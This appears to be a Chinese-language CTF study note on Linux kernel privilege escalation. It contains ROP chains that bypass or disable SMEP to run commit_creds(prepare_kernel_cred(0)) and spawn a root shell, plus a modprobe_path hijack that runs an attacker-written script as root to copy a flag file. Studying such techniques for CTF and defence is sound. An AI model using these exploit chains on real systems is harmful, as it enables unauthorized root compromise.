commit_creds(prepare_kernel_cred(0))

最常见的,主要就是看SMAP/SMEP/KPTI等保护是否开启

1.开启SMEP

第一种方法:内核提权然后返回用户态

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
void shell(void) {
if(!getuid()) {
printf("SUCCESS");
system("/bin/sh");
} else {
printf("ERROR");
}
}
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = pop_rdi_ret;
rop[i++] = 0x0;
rop[i++] = prepare_kernel_cred_k;
rop[i++] = pop_rdx;
rop[i++] = commit_creds_k;
rop[i++] = movRdiRax_call_rdx;
rop[i++] = swapgs_ret;
rop[i++] = iretq; /* saved EFLAGS */
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

第二种方法:ROP关闭SMEP,执行用户态代码提权

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

void shell(void) {
printf("[+] getuid() ...");
if(!getuid()) {
printf("SUCCESS");
system("/bin/sh");
} else {
printf("ERROR");
}
}
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = pop_rdi_ret; //
rop[i++] = 0x6f0;
rop[i++] = movCr4Rdi_pop_rbp_ret; // mov cr4, rax; pop rbp; ret;
rop[i++] = 0;
rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret;
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

2.未开启SMEP

直接执行用户空间的提权代码,然后返回使用shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void getroot (void)
{
commit_creds(prepare_kernel_cred(0));
}

void shell(void) {
if(!getuid()) {
printf(" SUCCESS");
system("/bin/sh");
} else {
printf("ERROR");
}
}
unsigned long getR = (unsigned long)getroot;
unsigned long sh = (unsigned long)shell;
size_t rop[32];

rop[i++] = (size_t)getR;
rop[i++] = swapgs_popRbp_ret;
rop[i++] = 0x0;
rop[i++] = iretq; // iretq
rop[i++] = (size_t)sh;
rop[i++] = user_cs; /* saved CS */
rop[i++] = user_rflags; /* saved EFLAGS */
rop[i++] = user_sp;
rop[i++] = user_ss;

MMAP内存映射

常见提权手段

1. 修改modprobe_path

查看是否能够修改

1
2
3
4
5
cat /proc/sys/kernel/modprobe
如果显示
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
不能

常常结合UAF漏洞来任意申请

查找modprobe_path地址

1
cat /proc/kallsyms| grep modprobe_path

或者通过gdb

image-20220328144717290

然后制作一个拷贝flag并且改权限的copy.sh文件,使得modprobe_path指向该文件,然后运行一个错误格式的文件,那么出错之后就会以root权限运行modprobe_path,从而以root权限运行我们的copy.sh,使得我们能够读取flag了。

1
2
3
4
5
6
7
8
9
10
strncpy(mem,"/home/pwn/copy.sh\0",18);
write_to_kernel(fd,0xc,mem,18,0);

system("echo -ne '#!/bin/sh\n/bin/cp /flag /home/pwn/flag\n/bin/chmod 777 /home/pwn/flag' > /home/pwn/copy.sh");
system("chmod +x /home/pwn/copy.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy");
system("chmod +x /home/pwn/dummy");

system("/home/pwn/dummy");
system("cat flag");

例子:

西湖论剑–easy_kernel–2021 西湖论剑 线上初赛 WP – Crispr –热爱技术和生活 (crisprx.top)

starctf2019-hackme–starctf2019-hackme | PIG-007

2.修改init_cred

init进程是初始进程,不被动态分配,知道kernel基地址的时候,就能得到该结构体的地址。

1
cat /proc/kallsyms |grep init_cred

这种方法一般用在没办法修改到本进程的cred结构体的时候,之后使用即可提权

1
//pop_rdi_ret init_cred_addr commit_creds_addr即可commit_creds(&init_cred)

例子:

2021-春秋杯-core

2.劫持prtcl_hook

pwnKernel从0开始(四) | PIG-007